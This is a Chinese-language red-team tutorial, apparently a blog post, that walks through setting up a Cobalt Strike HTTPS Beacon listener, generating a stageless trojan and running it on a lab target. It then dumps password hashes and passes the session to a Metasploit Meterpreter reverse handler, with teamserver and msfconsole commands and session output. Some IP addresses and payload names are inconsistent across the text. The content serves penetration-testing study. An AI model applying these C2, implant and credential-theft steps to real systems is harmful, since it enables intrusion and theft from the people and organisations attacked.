目录
[一、Https Beacon简介](#一、Https Beacon简介)
[三、监听器Https Beacon渗透实战](#三、监听器Https Beacon渗透实战)
[3、CS生成https stageless木马](#3、CS生成https stageless木马)
[4、受害靶机运行Https Beacon](#4、受害靶机运行Https Beacon)
[(3)CS执行spawn tomsf](#(3)CS执行spawn tomsf)
本文讲解CobaltStrike实战之CS会话转发至MSF会话的方法,本文涉及三个角色,如下所示。
| 角色 | IP地址 | 网络关系说明 |
| 攻击机主机 | 公网IP: 10.1.0.21 | 攻击机主机安装Kali虚拟机(网卡NAT模式:Kali运行CS+MSF) KALI中CS监听端口需配置公网IP:需在vmnet8网卡配置NAT端口映射将公网端口转发到Kali内网端口。 |
| Kali虚拟机 | 内网IP: 192.168.59.128 | CS HTTPS Beacon监听 : 10.1.0.21:10086,生成Https Beacon木马(将木马上传到目标靶机并运行,用于目标靶机连接攻击机CS,故而需要使用公网ip,将1234端口配置为NAT映射使kali可以收到流量) CS Foreign HTTP监听 : 10.1.0.21:1234(用于目标靶机连接,故而用公网ip,需要将1234端口配置为NAT映射使kali可以收到流量) 所有服务运行在此虚拟机,依赖VPS的NAT映射对外暴露端口。 |
| Kali虚拟机 | 内网IP: 192.168.59.128 | MSF反向HTTP监听: 192.168.59.128:1234(MSF自身开启监听,故而用内网IP) |
| 目标靶机 | 公网IP: 10.33.212.200 内网IP: 192.168.26.200 |
可通过公网IP与攻击机VPS通信,但无法直连Kali内网IP。 |
|---|
CS会话转发至MSF会话的原理、具体步骤和流程图如下所示。
-
攻击者在CS创建HTTPS监听并生成HTTPS Beacon木马(10.1.0.21,端口10086)
-
攻击者将木马传到目标靶机中,靶机执行HTTPS Beacon木马连接攻击机,建立CS连接通道
-
攻击者在MSF建立监听本机的1234端口(192.168.59.128:1234)
-
攻击者在CS配置到MSF的转发监听器(tomsf,IP为MSF的公网ip地址10.1.0.21,端口为1234)
-
攻击者在CS端通过现有HTTPS Beacon会话向靶机下发spawn tomsf指令
-
靶机根据配置主动连接Kali的MSF监听端口,MSF成功建立Meterpreter反向TCP会话

sequenceDiagram
participant 攻击者CS
participant 目标靶机
participant Kali_MSF
Note over 攻击者CS: 阶段1: 初始感染
攻击者CS ->> 攻击者CS: 1. 创建HTTPS监听器 (IP:20.1.0.21:10086)
攻击者CS ->> 攻击者CS: 2. 生成HTTPS Beacon木马
攻击者CS ->> 目标靶机: 3. 上传木马到靶机
目标靶机 ->> 攻击者CS: 4. 执行木马 → 建立HTTPS C2通道
Note over Kali_MSF: 阶段2: MSF监听配置
Kali_MSF ->> Kali_MSF: 5. 启动MSF监听: <br>use exploit/multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set lhost 192.168.59.128<br>set lport 1234<br>run
Note over 攻击者CS: 阶段3: 会话迁移
攻击者CS ->> 攻击者CS: 6. 创建tomsf监听器 (IP:20.1.0.21, Port:1234)
攻击者CS ->> 目标靶机: 7. 通过Beacon下发spawn tomsf指令
目标靶机 ->> Kali_MSF: 8. 发起Meterpreter反向连接 (20.1.0.21:1234)
Kali_MSF ->> Kali_MSF: 9. 经过NAT映射处理后(192.168.59.128:1234)
Kali_MSF ->> 目标靶机: 10. 建立Meterpreter会话
一、Https Beacon简介
HTTPS Beacon 使用 HTTPS 协议进行通信,基于 HTTP 协议并通过 SSL/TLS 协议提供加密传输和身份验证功能。HTTPS Beacon 是现代高级持续性威胁和红队操作中最常用的 C2 通信技术之一。它利用无处不在且受信任的 HTTPS 协议作为掩护,通过加密有效隐藏恶意指令和数据传输,极大地增加了防御者的检测难度。
-
Beacon基本概念 :Beacon 可直译为灯塔、信标,HTTPS Beacon 是 Cobalt Strike 等工具中运行在目标主机上的 payload。它就像一个潜伏在目标主机上的 "信标",会定期向控制服务器发送信号,告知自己的存在,并等待接收指令,以实现对目标主机的长期控制。
-
"Beacon" 字面意思是"信标"。在恶意软件语境中,它指的是植入在受害者系统上的恶意代码(Payload)。这个 Beacon 的主要功能是定期(或基于事件)向攻击者控制的 C2 服务器"报到"(发送心跳信号)。
-
报到目的包括:
-
心跳/存活确认:告诉 C2 服务器"我还活着"。
-
检查任务:询问 C2 服务器是否有新的指令需要执行(如下载更多恶意软件、窃取数据、执行命令等)。
-
回传数据:将窃取的信息(如凭证、键盘记录、屏幕截图、文件)发送回 C2。
-
接收指令:获取 C2 服务器下发的下一步行动命令。
-
-
-
HTTPS 协议的应用
-
加密通信:HTTPS 是在 HTTP 协议基础上加入了 TLS/SSL 加密层。这意味着 Beacon 与 C2 服务器之间的所有通信内容(指令、窃取的数据、配置信息)都被加密。
-
伪装成合法流量:HTTPS 是互联网上最普遍、最受信任的协议之一(用于银行、电商、社交媒体等)。恶意流量隐藏在加密的 HTTPS 流量中,可以:
-
绕过传统防火墙和 IDS/IPS:这些设备通常无法解密 HTTPS 流量来检查其内容(除非配置了 SSL/TLS 解密代理)。
-
规避基于签名的检测:加密使得基于流量内容特征(如特定字符串)的检测方法失效。
-
融入背景噪音:大量的合法 HTTPS 流量使得恶意通信更难被区分出来。
-
-
-
与 HTTP Beacon 的区别:HTTPS Beacon 和 HTTP Beacon 使用了相同的 Malleable C2 配置文件,均使用 GET 和 POST 的方式传输数据。不同点在于 HTTPS Beacon 使用了 SSL/TLS 协议,能保证数据传输中信息不被截取或发生中间人攻击等,安全性更高。
-
应用场景:在渗透测试中,测试人员可利用 HTTPS Beacon 绕过目标网络的部分安全检测机制,因为 HTTPS 是常见的加密网络流量,一些防火墙和入侵检测系统可能不会对其进行深度检测。而在恶意软件攻击中,攻击者也可能会利用 HTTPS Beacon 来控制被感染的主机,窃取数据或执行其他恶意操作。
二、CobaltStrike实战
1、服务端
(1)配置权限
在CobaltStrike执行服务端程序之前一定记得给执行权限 否则无法执行,具体命令如下所示。
chmod +x teamserver
chmod +x TeamServerImage
(2)启动服务端
服务端的命令如下:./teamserver `本地kali虚拟机`的ip 密码
./teamserver 192.168.59.128 123456
启动成功后 会显示Linstener:forward started!,效果如下所示。

2、客户端
客户端启动成功后 会显示一个登录界面 在密码处写入刚才设置的密码 点击connect连接即可,其中主机ip地址填写服务端的ip地址,端口填写默认的50050,效果如下图所示。

登陆成功后,进入到如下页面,效果如下图所示。

三、监听器Https Beacon渗透实战
1、添加监听器
通过 Cobalt Strike → Listeners,进入监听器的页面,操作如下所示。

在新弹出的监听器listener页面中,点击下图红框中的添加部分,效果如下图所示。

配置监听器,payload选择BeaconHttps,地址填写攻击主机的IP地址,如下所示。

- name: 为监听器名字,配置为mooyuan_https
- HTTP Hosts: 进行回连的主机(shell反弹的主机),也就是我们kali的ip(如果是阿里云,则填阿里云主机的公网ip),可以设置多个,我这里使用的是公网ip地址20.1.0.21
- HTTP Hosts(Stager): Stager的马请求下载payload的地址(一般也是和上面的ip填一样)
- HTTP Port(C2): payload回连的端口,这里选择使用10086
配置成功后效果如下所示。

2、配置NAT模式
将端口7777映射到NAT中。
由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。
点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为10086,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

3、CS生成https stageless木马
点击有效载荷-windows可执行程序(stageless),效果如下图红框所示。

在弹出的生成框中点击下图红框中的选项部分,在选择payload的listener中选择mooyuan_https的监听器,点击选择,效果如下图所示。

配置完毕后点击下图红框中的"生成"按钮,将生成的windows可执行程序重命名为https.exe。

生成成功后效果如下图所示,提示已经成功保存https.exe。

4、受害靶机运行Https Beacon
使用远程桌面连接靶机10.33.212.200,将木马上传到靶机中。双击https启动木马程序,如下图所示。

5、上线https木马
受害靶机运行Https Beacon后,查看cs状态,如下所示成功上线。

点击https会话,右键-会话交互,输入shell ipconfig,如下所示显示192.168.26.200。

右键-凭证提取-抓取哈希(hash),效果如下图所示。

6、将CS转发给MSF处理(联动)
(1)CS配置
首先在cs上继续生成一个监听器使得CS与MSF可以联动。通过 Cobalt Strike → Listeners,进入监听器的页面,点击添加,这里payload选择Foreign HTTP,填入IP和端口(其中IP地址设置为Kali攻击机的ip地址192.168.59.128,端口设置为1234),但是这个ip地址内网靶机无法连接,故而应该将ip地址设置为可以连接的20.1.0.21,端口则需要配置Vmnet8的NAT映射。

(2)NAT配置
此时需要将端口1234映射到NAT中。 由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

点击添加后,端口映射主机与虚拟机的端口均配置为1234,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

(3)CS执行spawn tomsf
在已有的http beacon会话中执行spawn tomsf命令,如下所示。

(4)MSF配置
Kali输入msfconsole开启msf 渗透,选择监听模块 use exploit/multi/handler 选择完成后 执行以下命令,其中lhost设置监听IP(与CS设置上的相同),为Kali攻击机的IP地址;lport设置监听端口(与CS设置上的相同),配置为默认的1234;set payload windows/meterpreter/reverse_tcp建立与CS Beacon一致的tcp连接,完整的配置命令如下所示。
msfconsole
set payload windows/meterpreter/reverse_https
set lhost 192.168.59.128
set lport 1234
run
(5)CS成功转移MSF
msf配置完成后效果如下所示,会话已经从CS迁移到MSF。
msf6 exploit(multi/handler) > run
[*] Started HTTP reverse handler on http://192.168.59.128:1234
[!] http://192.168.59.128:1234 handling request from 192.168.26.200; (UUID: n9qlialq) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.59.128:1234 handling request from 192.168.26.200; (UUID: n9qlialq) Staging x86 payload (176220 bytes) ...
[!] http://192.168.59.128:1234 handling request from 192.168.26.200; (UUID: n9qlialq) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.59.128:1234 -> 127.0.0.1 ) at 2025-08-13 08:31:57 -0400
四、总结
NAT端口映射配置(在vmware的NAT网卡端口映射设置),具体原理如下所示。
1、CS HTTPS Beacon监听器
- HTTPS Reverse监听器地址 : CS中配置为
10.1.0.21:10086 - 木马连接地址 : 靶机需连接
https://10.1.0.21:10086 - Vmware NAT端口映射 :
10.1.0.21:10086→ 转发到192.168.59.128:10086
2、MSF Meterpreter监听器
-
Foreign监听器地址 : CS中配置为
10.1.0.21:1234 -
转移后木马连接地址:靶机需连接https://10.1.0.21:1234 -
Vmware NAT端口映射 ::
10.1.0.21:1234→ 转发到192.168.59.128:1234